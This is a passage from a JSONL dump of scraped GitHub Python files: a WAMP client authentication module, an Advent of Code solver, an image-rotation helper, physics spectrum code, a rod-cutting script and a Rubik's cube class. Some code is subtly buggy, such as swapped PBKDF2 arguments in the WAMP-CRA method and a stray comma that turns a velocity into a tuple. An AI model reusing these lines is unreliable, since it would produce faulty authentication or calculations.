\n        alpha = 0.05\n        # For Bonferroni correction\n        numTraces = 10\n        \n        (rr_out, rr_out_ci, rr_out_ci_corrected) = \\\n            trace_stats.relative_risk(eP,nP,eC,nC,alpha,numTraces)\n        self.assertEqual(np.round(rr_out,2),3.57)\n        self.assertTrue(np.round(rr_out_ci[0],2)==2.38)\n        self.assertTrue(np.round(rr_out_ci[1],2)==5.36)\n        \n    \n    \n    \n\nif __name__ == '__main__':\n    # Show full dataframes\n    pd.set_option('display.max_rows', 500)\n    pd.set_option('display.max_columns', 500)\n    pd.set_option('display.width', 1000)\n    pd.set_option('display.max_colwidth', None)\n    pd.set_option('display.expand_frame_repr', False)\n    unittest.main(argv=['-v'],verbosity=3)\n\n","repo_name":"multimorbidity-research-leeds/postMI-process-mining-hes","sub_path":"pipeline_hes/test/test_trace_stats.py","file_name":"test_trace_stats.py","file_ext":"py","file_size_in_byte":12382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71745058640","text":"import schedule\nimport time\nd_on = \"10:21\"\nextra = 1\n\nprint(d_on)\ndata = d_on.split(\":\")\nminn = int(data[1]) + extra\ndata[1] = str(minn)\nd_on = data[0] + \":\" + data[1]\nprint(d_on)\n\ndef update():\n    print(\"update\")\n\nschedule.every().day.at(d_on ).do(update)\n\nwhile True:\n    schedule.run_pending()\n    time.sleep(1)","repo_name":"FutureNathan/Habit-Calendar","sub_path":"schTest.py","file_name":"schTest.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"13160309163","text":"from advent import Advent\nimport re\nfrom math import prod\n\nadvent = Advent(2022, 11, use_file=False)\n\n_EXTRACT_MONKEY_INFO = {\n    0: lambda l: int(re.search(\"Monkey (\\\\d+)\", l).group(1)),\n    1: lambda l: [int(item) for item in l.split(\"Starting items: \")[1].split(\", \")],\n    2: lambda l: l.split(\"Operation: new = \")[1],\n    3: lambda l: int(re.search(\"divisible by (\\\\d+)\", l).group(1)),\n    4: lambda l: int(re.search(\"If true: throw to monkey (\\\\d+)\", l).group(1)),\n    5: lambda l: int(re.search(\"If false: throw to monkey (\\\\d+)\", l).group(1))\n}\n\ndef parse_input():\n    monkeys = []\n    for monkey_info in advent.paragraphs:\n        monkey_args = [_EXTRACT_MONKEY_INFO[i](line) for i, line in enumerate(monkey_info)]\n        monkeys.append(Monkey(monkey_args))\n    return monkeys\n\nclass MonkeyItem:\n    def __init__(self, worry_level: int) -> None:\n        self.worry_level = int(worry_level)\n\nclass Monkey:\n    def __init__(self, args: list) -> None:\n        self.items = []\n        self.total_inspects = 0\n        self.id = args[0]\n        for item in args[1]:\n            self.add_item(MonkeyItem(item))\n        self.op = \"lambda old: \" + args[2]\n        self.divisible_by = args[3]\n        self.throw_monkey_true = args[4]\n        self.throw_monkey_false = args[5]\n\n    def _throw_item(self, monkey_item: MonkeyItem) -> tuple[int, MonkeyItem]:\n        if monkey_item.worry_level % self.divisible_by == 0:\n            return (self.throw_monkey_true, monkey_item)\n        return (self.throw_monkey_false, monkey_item)\n\n    def can_inspect(self):\n        return len(self.items) > 0\n\n    def inspect(self, worry_fn):\n        if len(self.items) == 0: return\n        new_worry = eval(worry_fn)(int(eval(self.op)(self.items.pop(0).worry_level)))\n        new_monkey_item = MonkeyItem(new_worry)\n        self.total_inspects += 1\n        return self._throw_item(new_monkey_item)\n\n    def add_item(self, item: MonkeyItem) -> None:\n        self.items.append(item)\n\ndef monkey_business(part):\n    monkeys = parse_input()\n    rounds = 20 if part == 1 else 10_000\n    monkeys_prod = prod([monkey.divisible_by for monkey in monkeys])\n    reduce_worry_fn = \"lambda worry: worry // 3\" if part == 1 else \"lambda worry: worry % {}\".format(monkeys_prod)\n    for _ in range(rounds):\n        for monkey in monkeys:\n            while monkey.can_inspect():\n                monkey_i, monkey_item = monkey.inspect(reduce_worry_fn)\n                monkeys[monkey_i].add_item(monkey_item)\n    monkeys = sorted(monkeys, key=lambda monkey: monkey.total_inspects, reverse=True)\n    return monkeys[0].total_inspects * monkeys[1].total_inspects\n\n# Part 1\nprint(monkey_business(1))\n\n# Part 2\nprint(monkey_business(2))\n","repo_name":"patedit/adventofcode","sub_path":"2022/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8437799055","text":"\"\"\"Provides the built-in authentication methods.\"\"\"\n\nfrom __future__ import annotations\n\nimport abc\nimport base64\nimport hashlib\nimport hmac\nimport logging\nfrom typing import ClassVar, Dict, Iterator, Mapping, Optional, Union\n\nimport aiowamp\nfrom aiowamp.msg import Authenticate as AuthenticateMsg\n\n__all__ = [\"AuthMethodABC\",\n           \"AuthKeyringABC\", \"AuthKeyring\",\n           \"CRAuth\", \"TicketAuth\"]\n\nlog = logging.getLogger(__name__)\n\n\nclass AuthMethodABC(abc.ABC):\n    \"\"\"Abstract auth method.\"\"\"\n    __slots__ = ()\n\n    method_name: ClassVar[str]\n    \"\"\"Name of the auth method.\"\"\"\n\n    def __str__(self) -> str:\n        return f\"{type(self).__qualname__} {self.method_name!r}\"\n\n    @property\n    @abc.abstractmethod\n    def requires_auth_id(self) -> bool:\n        \"\"\"Whether the auth method requires auth_id to be set.\"\"\"\n        ...\n\n    @property\n    @abc.abstractmethod\n    def auth_extra(self) -> Optional[aiowamp.WAMPDict]:\n        \"\"\"Additional auth extras that need to be passed along.\n\n        `None` indicates that no extras need to be passed.\n        \"\"\"\n        ...\n\n    @abc.abstractmethod\n    async def authenticate(self, challenge: aiowamp.msg.Challenge) \\\n            -> Union[aiowamp.msg.Authenticate, aiowamp.msg.Abort]:\n        \"\"\"Generate an authenticate message for the challenge.\n\n        Args:\n            challenge: Challenge message to respond to.\n\n        Returns:\n            Either an authenticate message to send to the router or an abort\n            message to indicate that the attempt should be aborted.\n\n        Raises:\n            Exception: When something goes wrong during authentication.\n                Should be interpreted the same as an abort message.\n        \"\"\"\n        ...\n\n    async def check_welcome(self, welcome: aiowamp.msg.Welcome) -> None:\n        \"\"\"Check the welcome message sent by the router.\n\n        Used to perform mutual authentication.\n\n        Args:\n            welcome: Welcome message sent by the router.\n\n        Raises:\n            aiowamp.AuthError:\n        \"\"\"\n        pass\n\n\nclass AuthKeyringABC(Mapping[str, \"aiowamp.AuthMethodABC\"], abc.ABC):\n    \"\"\"Abstract keyring for auth methods.\"\"\"\n    __slots__ = ()\n\n    def __str__(self) -> str:\n        methods = \", \".join(self)\n        return f\"{type(self).__qualname__}({methods})\"\n\n    @abc.abstractmethod\n    def __getitem__(self, method: str) -> aiowamp.AuthMethodABC:\n        \"\"\"Get the auth method with the given name.\n\n        Args:\n            method: Name of the method to get.\n\n        Returns:\n            Auth method stored in the keyring.\n\n        Raises:\n            KeyError: If no auth method with the given method exists in the\n                keyring.\n        \"\"\"\n        ...\n\n    @abc.abstractmethod\n    def __len__(self) -> int:\n        \"\"\"Get the amount of auth methods in the keyring.\"\"\"\n        ...\n\n    @abc.abstractmethod\n    def __iter__(self) -> Iterator[str]:\n        \"\"\"Get an iterator for the auth method names in the keyring.\"\"\"\n        ...\n\n    @property\n    @abc.abstractmethod\n    def auth_id(self) -> Optional[str]:\n        \"\"\"Auth id to use during authentication.\n\n        Because most authentication methods require an auth id, this is handled\n        by the keyring.\n        \"\"\"\n        ...\n\n    @property\n    @abc.abstractmethod\n    def auth_extra(self) -> Optional[aiowamp.WAMPDict]:\n        \"\"\"Auth extras with all the auth extras from the underlying methods.\n\n        `None` if no auth extras are required.\n        \"\"\"\n        ...\n\n\nclass AuthKeyring(AuthKeyringABC):\n    __slots__ = (\"__auth_methods\",\n                 \"__auth_id\", \"__auth_extra\")\n\n    __auth_methods: Dict[str, \"aiowamp.AuthMethodABC\"]\n\n    __auth_id: Optional[str]\n    __auth_extra: Optional[aiowamp.WAMPDict]\n\n    def __init__(self, *methods: \"aiowamp.AuthMethodABC\",\n                 auth_id: str = None) -> None:\n        \"\"\"Initialise the keyring.\n\n        Args:\n            *methods: Methods to initialise the keyring with.\n            auth_id: Auth id to use. Defaults to `None`.\n\n        Raises:\n            ValueError:\n                - The same auth method type was specified multiple times.\n                - No auth id was specified but one of the methods requires it.\n                - Multiple methods specify the same auth extra key with\n                    differing values.\n        \"\"\"\n        auth_methods = {}\n        auth_extra = {}\n\n        for method in methods:\n            name = method.method_name\n            if name in auth_methods:\n                raise ValueError(f\"received same auth method multiple times: {name}\")\n\n            if auth_id is None and method.requires_auth_id:\n                raise ValueError(f\"{method} requires auth_id!\")\n\n            auth_methods[name] = method\n\n            m_auth_extra = method.auth_extra\n            if not m_auth_extra:\n                continue\n\n            for key, value in m_auth_extra.items():\n                try:\n                    existing_value = auth_extra[key]\n                except KeyError:\n                    pass\n                else:\n                    if existing_value != value:\n                        raise ValueError(f\"{method} provides auth extra {key} = {value!r}, \"\n                                         f\"but the key is already set by another method as {existing_value!r}\")\n\n                auth_extra[key] = value\n\n        self.__auth_methods = auth_methods\n\n        self.__auth_id = auth_id\n        self.__auth_extra = auth_extra or None\n\n    def __repr__(self) -> str:\n        methods = \", \".join(map(repr, self.__auth_methods.values()))\n        return f\"{type(self).__qualname__}({methods})\"\n\n    def __getitem__(self, method: str) -> AuthMethodABC:\n        return self.__auth_methods[method]\n\n    def __len__(self) -> int:\n        return len(self.__auth_methods)\n\n    def __iter__(self) -> Iterator[str]:\n        return iter(self.__auth_methods)\n\n    @property\n    def auth_id(self) -> Optional[str]:\n        return self.__auth_id\n\n    @property\n    def auth_extra(self) -> Optional[aiowamp.WAMPDict]:\n        return self.__auth_extra\n\n\nclass CRAuth(AuthMethodABC):\n    \"\"\"Auth method for challenge response authentication.\n\n    WAMP Challenge-Response (\"WAMP-CRA\") authentication is a simple, secure\n    authentication mechanism using a shared secret. The client and the server\n    share a secret. The secret never travels the wire, hence WAMP-CRA can be\n    used via non-TLS connections. The actual pre-sharing of the secret is\n    outside the scope of the authentication mechanism.\n    \"\"\"\n    method_name = \"wampcra\"\n\n    __slots__ = (\"secret\",)\n\n    secret: str\n    \"\"\"Secret to use for authentication.\"\"\"\n\n    def __init__(self, secret: str) -> None:\n        \"\"\"Initialise the auth method.\n\n        Args:\n            secret: Secret to use.\n        \"\"\"\n        self.secret = secret\n\n    def __repr__(self) -> str:\n        return f\"{type(self).__qualname__}({self.secret!r})\"\n\n    @property\n    def requires_auth_id(self) -> bool:\n        return True\n\n    @property\n    def auth_extra(self) -> None:\n        return None\n\n    def pbkdf2_hmac(self, salt: str, key_len: int, iterations: int) -> bytes:\n        \"\"\"Derive the token using the pdkdf2 scheme.\n\n        Args:\n            salt: Salt\n            key_len: Key length\n            iterations: Amount of iterations\n\n        Returns:\n            Generated token bytes.\n        \"\"\"\n        return hashlib.pbkdf2_hmac(\"sha256\", self.secret, salt, iterations, key_len)\n\n    async def authenticate(self, challenge: aiowamp.msg.Challenge) -> aiowamp.msg.Authenticate:\n        extra = challenge.extra\n\n        try:\n            challenge_str: str = extra[\"challenge\"]\n        except KeyError:\n            raise KeyError(\"challenge didn't provide 'challenge' string to sign\") from None\n\n        try:\n            salt: str = extra[\"salt\"]\n            key_len: int = extra[\"keylen\"]\n            iterations: int = extra[\"iterations\"]\n        except KeyError:\n            log.info(\"%s: using secret directly\", self)\n            secret = self.secret\n        else:\n            log.info(\"%s: deriving secret from salted password\", self)\n            secret = self.pbkdf2_hmac(salt, iterations, key_len)\n\n        digest = hmac.digest(secret, challenge_str, hashlib.sha256)\n        signature = base64.b64encode(digest).encode()\n        return aiowamp.msg.Authenticate(signature, {})\n\n\nclass TicketAuth(AuthMethodABC):\n    \"\"\"Auth method for ticket-based authentication.\n\n    With Ticket-based authentication, the client needs to present the server an\n    authentication \"ticket\" - some magic value to authenticate itself to the\n    server.\n\n    This \"ticket\" could be a long-lived, pre-agreed secret\n    (e.g. a user password) or a short-lived authentication token\n    (like a Kerberos token). WAMP does not care or interpret the ticket\n    presented by the client.\n\n        Caution: This scheme is extremely simple and flexible, but the resulting\n        security may be limited. E.g., the ticket value will be sent over the\n        wire. If the transport WAMP is running over is not encrypted, a\n        man-in-the-middle can sniff and possibly hijack the ticket. If the\n        ticket value is reused, that might enable replay attacks.\n    \"\"\"\n    method_name = \"ticket\"\n\n    __slots__ = (\"__ticket\",)\n\n    __ticket: str\n\n    def __init__(self, ticket: str) -> None:\n        self.__ticket = ticket\n\n    @property\n    def requires_auth_id(self) -> bool:\n        return True\n\n    @property\n    def auth_extra(self) -> None:\n        return None\n\n    async def authenticate(self, challenge: aiowamp.msg.Challenge) -> aiowamp.msg.Authenticate:\n        return AuthenticateMsg(self.__ticket, {})\n\n\nclass ScramAuth(AuthMethodABC):\n    method_name = \"wamp-scram\"\n\n    __slots__ = ()\n\n    @property\n    def requires_auth_id(self) -> bool:\n        return True\n\n    @property\n    def auth_extra(self) -> aiowamp.WAMPDict:\n        return {\"nonce\": \"\", \"channel_binding\": None}\n","repo_name":"gieseladev/aiowamp","sub_path":"aiowamp/client/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":9944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71836475280","text":"def corte_haste(p, n):\n    \"\"\"Pegue uma lista p de preços e o comprimento da haste n e retorne as listas r e s.\n    r [i] é a receita máxima que você pode obter e s [i] é o comprimento do\n    primeira peça para cortar de uma haste de comprimento i.\"\"\"\n    # r[i] é o valor maximo para a haste temanho i\n    # r[i] =  se -1 significa que r[1] nao foi calculado\n    r = [-1] * (n + 1)\n    r[0] = 0\n\n    # s[i] é o tamanho inicial de corte da haste tamanho i\n    # s[0] näo precisa\n    s = [-1] * (n + 1)\n\n    for i in range(1, n + 1):\n        q = -1\n        for j in range(1, i + 1):\n            temp = p[j] + r[i - j]\n            if q < temp:\n                q = temp\n                s[i] = j\n        r[i] = q\n\n    return r, s\n\n\nn = int(input('Entre com o tamanho da haste: '))\n\n# p[i] é o preco de uma haste tamanho i\n# p[0] náo precisa logo seto none\np = [None]\nfor i in range(1, n + 1):\n    preco = input('Entre com o preco da haste de tamanho {} no: '.format(i))\n    p.append(int(preco))\n\nr, s = corte_haste(p, n)\nprint('O valor máximo que pode ser obtido:', r[n])\nprint('A haste precisa ser cortada nos tamanhos: ', end='')\nwhile n > 0:\n    print(s[n], end=' ')\n    n -= s[n]","repo_name":"johnatasr/AG","sub_path":"PD_ Bottom-Up.py","file_name":"PD_ Bottom-Up.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31236915480","text":"import logging\n\nimport io\nfrom PIL import Image\n\n\n# From: https://github.com/matthewwithanm/pilkit/blob/master/pilkit/processors/base.py#L113-L170\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\n\n\nclass TransposeError(Exception): pass\n\n\nclass Transpose:\n    \"\"\"\n    Rotates or flips the image.\n    \"\"\"\n\n    log = logging.getLogger('Transpose')\n\n    AUTO = 'auto'\n    FLIP_HORIZONTAL = Image.FLIP_LEFT_RIGHT\n    FLIP_VERTICAL = Image.FLIP_TOP_BOTTOM\n    ROTATE_90 = Image.ROTATE_90\n    ROTATE_180 = Image.ROTATE_180\n    ROTATE_270 = Image.ROTATE_270\n\n    methods = [AUTO]\n    _EXIF_ORIENTATION_STEPS = {\n        1: [],\n        2: [FLIP_HORIZONTAL],\n        3: [ROTATE_180],\n        4: [FLIP_VERTICAL],\n        5: [ROTATE_270, FLIP_HORIZONTAL],\n        6: [ROTATE_270],\n        7: [ROTATE_90, FLIP_HORIZONTAL],\n        8: [ROTATE_90],\n    }\n\n    def __init__(self, *args):\n        \"\"\"\n        Possible arguments:\n            - Transpose.AUTO\n            - Transpose.FLIP_HORIZONTAL\n            - Transpose.FLIP_VERTICAL\n            - Transpose.ROTATE_90\n            - Transpose.ROTATE_180\n            - Transpose.ROTATE_270\n        The order of the arguments dictates the order in which the\n        Transposition steps are taken.\n        If Transpose.AUTO is present, all other arguments are ignored, and\n        the processor will attempt to rotate the image according to the\n        EXIF Orientation data.\n        \"\"\"\n        super(Transpose, self).__init__()\n        if args:\n            self.methods = args\n\n    def rgba_to_rgb(self, img, mode='jpg'):\n        fill_color = '#ffffff'\n        background = Image.new('RGB', img.size, fill_color)\n\n        split = img.split()\n        if img.mode == 'P' and len(split) < 4:\n            split = img.convert('RGBA').split()\n\n        if len(split) == 4:\n            background.paste(img, mask=split[3])\n        else:\n            background.paste(img)\n        return background\n\n    def process_binary(self, binary, format='jpeg', raise_on_open=False):\n        assert type(binary) in (bytes, bytearray), f'Wrong binary type: {type(binary)}'\n        try:\n            try:\n                img = Image.open(io.BytesIO(binary))\n            except Exception:\n                if raise_on_open:\n                    raise TransposeError\n                raise\n\n            if self.AUTO in self.methods:\n                try:\n                    orientation = img._getexif()[0x0112]\n                    ops = self._EXIF_ORIENTATION_STEPS[orientation]\n                except (IndexError, KeyError, TypeError, AttributeError):\n                    ops = []\n            else:\n                ops = self.methods\n            for method in ops:\n                self.log.debug('Operation: {}'.format(method))\n                img = img.transpose(method)\n            buf = io.BytesIO()\n            if img.mode in ('RGBA', 'LA', 'P') and format.upper() in ('JPG', 'JPEG'):\n                img = self.rgba_to_rgb(img)\n            img.save(buf, format=format, quality=100)\n            buf.seek(0)\n            return buf.read()\n        except TransposeError:\n            raise\n        except Exception:\n            self.log.exception('During transpose binary:')\n            return binary\n\n    def process(self, orig_img, format=None):\n        try:\n            fname = orig_img.name\n            if format is None:\n                format = fname.split('.')[-1].upper()\n                if format.startswith('JP'):\n                    format = 'JPEG'\n            buf = io.BytesIO(self.process_binary(orig_img.read(), format=format))\n            # seek to the end of file\n            buf.seek(0, 2)\n            out = InMemoryUploadedFile(buf, \"image\", fname, orig_img.content_type, buf.tell(), None)\n            return out\n        except Exception:\n            return orig_img\n","repo_name":"micro-fan/fan_tools","sub_path":"fan_tools/image_utils.py","file_name":"image_utils.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"37600707591","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar  6 09:52:24 2022\n\n@author: MrMai\n\"\"\"\n\nimport numpy as np\nimport scipy as scp\nimport scipy.constants as const\nfrom scipy.integrate import quad\nfrom scipy.interpolate import interp2d\nimport sympy as sp\n#import pickle\n#import matplotlib.pyplot as plt\n\n\nimport green\nimport psi_perp\n\n\n\n# %% Queen\n\n# def QueenFunPrep(l, r1, r2, phi1, phi2, qc, numofpoints=100):\n#     vyraz = lambda k : k * scp.special.jv(l, k*r1) * scp.special.jv(l, k*r2)\n#     intvyraz = scp.integrate.quad(vyraz, 0, qc, limit=numofpoints)\n#     return intvyraz[0] * np.exp(1j * l * (phi1-phi2))\n#     print(\"The Queen has been succefully evaluated!\"   )   \n\n# QueenFun = np.vectorize(QueenFunPrep)\n\n# def QueenFun(l, R1, R2, Phi1, Phi2, qc, numofpoints=100):\n#     rmax = max(np.max(R1), np.max(R2))\n#     rspace1 = np.linspace(0,rmax)\n#     Rspace1,Rspace2 = np.meshgrid(rspace1,rspace1)\n#     preeval \n\ndef QueenFun(l, X1,Y1,X2,Y2, qc, numofqpoints=50, numofrpoints=50): # version 2\n    R1       = np.sqrt(X1**2 + Y1**2)\n    Phi1     = np.arctan2(Y1,X1)\n    R2      = np.sqrt(X2**2 + Y2**2)\n    Phi2    = np.arctan2(Y2,X2)\n    \n    rmax = np.max(R1)\n    \n    r1 = np.linspace(0,rmax, numofrpoints)\n    rr1, rr2 = np.meshgrid(r1,r1)\n    rr1 = rr1.flatten()\n    rr2 = rr2.flatten()\n    def integrator(rho1, rho2, qc=qc):\n        vyraz = lambda k : k * scp.special.jv(l, k*rho1) * scp.special.jv(l, k*rho2)\n        intvyraz = quad(vyraz, 0, qc, limit=numofqpoints)\n        return intvyraz[0]\n    vintegrator = np.vectorize(integrator)\n    preeval = vintegrator(rr1,rr2)\n\n    interpfun = np.vectorize(interp2d(rr1,rr2, preeval) )\n    queen = interpfun(R1,R2)\n    \n    return queen * np.exp(1j * l * (Phi1 - Phi2)  )\n    \n\n#%%\n# This section is for debugging the Queen\n\n# R1 = np.linspace(0,50,1000)\n# R2 = np.copy(R1)\n\n# R1,R2 = np.meshgrid(R1,R2)\n\n# Z = np.real(QueenFun(1, R1, R2, 0,0, 1.0))\n\n# fig,ax = plt.subplots()\n# ax.pcolor(R1,R2,Z)\n# ax.set_aspect(1)\n\n# %% King generation\n\ndef KingFun(X, Y, X_, Y_, G, gradpsi1, gradpsi2 ):    \n    print(\"Evaluating the king...\")\n    \n    # print(G.atoms())\n    \n    x,y,z,x_,y_,z_ = sp.symbols(\"x y z x' y' z'\")\n    GFun =  sp.lambdify((x,y,z,x_,y_,z_),G, modules=\"scipy\") \n    \n    theGreat = GFun(X,Y,0*X, X_,Y_,0*X)\n    \n    theKing =  np.sum ( np.moveaxis(gradpsi1, 0, -2) * (theGreat @ np.moveaxis(gradpsi2, 0, -2)), axis=-2 )\n    \n    # theKing = np.copy(X).astype(complex)\n    #shape = np.shape(X)\n    # for i in range(shape[0]):\n    #     for j in range(shape[1]):\n    #         for k in range(shape[2]):\n    #             for l in range(shape[3]):\n    #                 pos  = [X[i,j,k,l], Y[i,j,k,l], 0]\n    #                 pos_ = [X_[i,j,k,l], Y_[i,j,k,l], 0]\n                    \n    #                 vec1 = np.array([gradpsi1[0][i,j,k,l],\n    #                                  gradpsi1[1][i,j,k,l],\n    #                                  gradpsi1[2][i,j,k,l]])\n                    \n    #                 vec2 = np.array([gradpsi2[0][i,j,k,l],\n    #                                  gradpsi2[1][i,j,k,l],\n    #                                  gradpsi2[2][i,j,k,l]])\n                    \n    #                 Gtensor = GFun(*pos, *pos_)\n                    \n                    \n    #                 scalar = vec1 @ Gtensor @ vec2\n    #                 theKing[i,j,k,l] = scalar\n    #    print(f\"{round((i+1)/shape[0]*100)} %\", end=\"\\r\")\n    print(\"DONE\"   )             \n    return theKing\n\n\n\n#%%\nprefactor = const.hbar * const.e**2 / ( 2 * np.pi**2 * const.m_e**2 )\n\ndef Gamma(omega, v, X, Y, X_, Y_, G, gradpsi1, gradpsi2, queen):\n    dx = X[1,0,0,0] - X[0,0,0,0]\n    dy = Y[0,1,0,0] - Y[0,0,0,0]\n    theking = KingFun(X,Y,X_,Y_,G,gradpsi1,gradpsi2)\n    return prefactor / (omega**2 * v) * np.nansum(theking*queen) * dx**2 *dy**2\n\n\n# %% Spectrum\n\ndef Spectrum(X,Y,X_,Y_,\n             qz, v, ppos, \n             psiinit1, psiinit2 ,\n             greentensor,\n             lfin, qc_forqueen, \n             omegas, polarizabilities, # iterable of 3-long iterables of form [aEE, aMM, aEM]\n             SI = True, numofpoints_forqueen=100,\n             filename=None):\n    \n    R       = np.sqrt(X**2 + Y**2)\n    Phi     = np.arctan2(Y,X)\n    R_      = np.sqrt(X_**2 + Y_**2)\n    Phi_    = np.arctan2(Y_,X_)\n    \n    dx = X[1,0,0,0] - X[0,0,0,0]\n    dy = Y[0,1,0,0] - Y[0,0,0,0]\n    \n    print(\"Calculating the Queen...\")\n    theQueen = QueenFun(lfin, R, R_, Phi, Phi_, qc_forqueen, numofqpoints=numofpoints_forqueen)\n    \n    print(\"Calculating gradients of inital psi...\")\n    Psi1 = np.conj( psiinit1 )\n    gradPsi1 = np.gradient(Psi1, axis=(0,1))\n    gradPsi1[0] = gradPsi1[0]/dx\n    gradPsi1[1] = gradPsi1[1]/dy\n    gradPsi1.append(-1j * qz * Psi1)\n    print(\"1/2 done\")\n    Psi2 =  psiinit2\n    gradPsi2 = np.gradient(Psi2, axis=(2,3))\n    gradPsi2[0] = gradPsi2[0]/dx\n    gradPsi2[1] = gradPsi2[1]/dy\n    gradPsi2.append(1j * qz * Psi2)\n    print(\"2/2 DONE\")\n    \n    print(\"Preparing the Green's tensor\")\n    GreenGeo = green.setup(ppos, qz, v, SI=SI)\n    \n    print(\"Beginning of evaluation for each omega...\")\n    omegapoints = len(omegas)\n    gammas=[]\n    omegacounter = 0\n    \n    for omegai in range(omegapoints):\n        omega = omegas[omegai]\n        aEE, aMM, aEM = polarizabilities[omegai]\n        \n        GreenOmega = green.setpolarizability(GreenGeo, aEE, aMM, aEM)\n        GreenOmega = green.setomega(GreenOmega, omega)\n        gamma =  Gamma(omega, v, X, Y, X_, Y_, GreenOmega, gradPsi1, gradPsi2, theQueen)\n        gammas.append(gamma)\n        omegacounter+=1\n        print(f\"Evaluation of spectrum integral is done in {omegacounter} / {omegapoints} energy-points.\")\n    \n    spectrum = np.array([omegas,gammas]).T\n    \n    if type(filename) == str: \n        try:\n            import pickle\n            f = open(f\"{filename}.dat\", \"wb\")\n            pickle.dump(spectrum, f)\n            f.close()\n            print(f\"Spectrum saved to \\t {filename}.dat \\t.\")\n        except: \n            print(\"Couldn't save the spectrum into file, thus priniting it: \\n\")\n            print(spectrum)\n            \n    return spectrum\n\n\n#%% testing\n# numofxpoints = 20\n# numofypoints = 20\n# xrange = [-20,20]\n# yrange = [-20,20]\n# dx = (xrange[1] - xrange[0])/(numofxpoints-1)\n# dy = (yrange[1] - yrange[0])/(numofypoints-1)\n\n# xx = np.linspace(xrange[0], xrange[1], numofxpoints)\n# yy = np.linspace(yrange[0], yrange[1], numofypoints)\n\n# XX, YY, XX_, YY_   = np.meshgrid(xx, yy, xx, yy, indexing=\"ij\")\n\nppos = [0,0,0]\nqz= np.sqrt(2 * const.m_e * 60e3)/const.hbar\nv=0,446 * const.c\nomega = 0.1\n\n\n# lf=1\n# li=1\n\n# psifun = psi_perp.psi_perp\n# R       = np.sqrt(XX**2 + YY**2)\n# Phi     = np.arctan2(YY,XX)\n# R_      = np.sqrt(XX_**2 + YY_**2)\n# Phi_    = np.arctan2(YY_,XX_)\n# PSI1 = psifun(li, R, Phi, 1)\n# PSI2 = psifun(li, R_, Phi_, 1)\n\n# qc = 1\n\n# GG = green.setup(ppos, qz, v)\n\n# Omegas = np.linspace(1,3,10)\n# Alfas=[]\n# for i in range(len(Omegas)):\n#     aEE = np.eye(3)*.3\n#     aMM = np.eye(3)*0.1\n#     aEM = np.array([[1,0, np.sin(Omegas[i])],\n#                     [0,2, np.cos(Omegas[i])],\n#                     [np.sin(Omegas[i]), np.cos(Omegas[i]), 3]])*0.05\n#     Alfas.append([aEE, aMM, aEM])\n    \n    \n# Spectrum(XX, YY, XX_, YY_, qz, v, ppos, PSI1, PSI2, GG, lf, qc, Omegas, Alfas, filename=\"prvnitest\")\n# %%\n\n\n\nGreenGeo = green.setup(ppos, qz, v)\n\n# GreenOmega = green.setpolarizability(GreenGeo, np.eye(3), \n#                                                 np.eye(3), \n#                                                 np.array([[1,2,3],\n#                                                           [2,2,0],\n#                                                           [3,0,3]])*1e-5 )\n\n# GreenOmega = green.setomega(GreenOmega, omega)\n\n# %%\n###\n\n\n# XX,YY,XX_,YY_ --> r, r_, phi, phi_r=R\n\n# r_=R_\n# phi=Phi\n# phi_=Phi_\n# omega =1\n# k = 1e6\n# v=1e6\n# G = GreenOmega\n\n\n# Psi1 = np.conj( psifun(l, R, Phi, qc ) )\n# gradPsi1 = np.gradient(Psi1, axis=(0,1))/(dx*dy)\n# gradPsi1.append(-1j * qz * Psi1)\n\n# Psi2 =  psifun(l, r_, phi_, qc ) \n# gradPsi2 = np.gradient(Psi2, axis=(2,3))\n# gradPsi2.append(1j * qz * Psi2)\n\n# %%\n# theKing = KingFun(XX, YY, XX_, YY_, GreenOmega, gradPsi1, gradPsi2)\n\n\n\n                \n","repo_name":"MrMainek/vortex_eels","sub_path":"Baka/Green/spectrum.py","file_name":"spectrum.py","file_ext":"py","file_size_in_byte":8204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28016312984","text":"from b_rubiks_cube import BRubiksCube\nfrom cube import Cube\nfrom helper import Helper\nfrom random import randint, choice\n\n\nclass RubiksCube(BRubiksCube):\n\n    def __init__(self, size=None, set_color=True):\n        BRubiksCube.__init__(self)\n\n        #Minimum size is 2\n        if size is None or size < 2:\n            self._dimension = 2\n        else:\n            self._dimension = size\n\n        #Generate empty array\n        self._array = [[[None\n                         for k in xrange(self._dimension)]\n                        for i in xrange(self._dimension)]\n                       for j in xrange(self._dimension)]\n\n       # generate all the cubes\n        for x in xrange(self._dimension):\n            for y in xrange(self._dimension):\n                for z in xrange(self._dimension):\n                    self._array[x][y][z] = Cube()\n\n        self.reset_array(set_color)\n\n    def reset_array(self, set_color):\n        #Generate the sides, all 0 if set_color==False\n        counter = 0\n        for side in Helper.CUBE_SIDES:\n            if set_color:\n                self.set_side(side, counter)\n                counter += 1\n            else:\n                self.set_side(side, None)\n\n    def get_size(self):\n        return self._dimension\n\n    def _rotate_array(self, xyz, index, direction):\n        #Rotate the storage array depending on axis, index and direction\n\n        #Generate temp storage\n        storage = [[None for k in xrange(self._dimension)] for j in xrange(self._dimension)]\n\n        #Fetch current slice\n        for x in xrange(self._dimension):\n            for y in xrange(self._dimension):\n                if xyz == 'x':\n                    storage[x][y] = self._array[index][x][y]\n                if xyz == 'y':\n                    storage[x][y] = self._array[y][index][x]\n                if xyz == 'z':\n                    storage[x][y] = self._array[x][y][index]\n\n        #Rotate current slice\n        if direction == -1:\n            storage = zip(*storage)[::-1]\n        if direction == 1:\n            storage = zip(*storage[::-1])\n\n        #Rotate current slice parts\n        for x in xrange(self._dimension):\n            for y in xrange(self._dimension):\n                storage[x][y].turn(xyz, direction)\n\n        #Write back the new 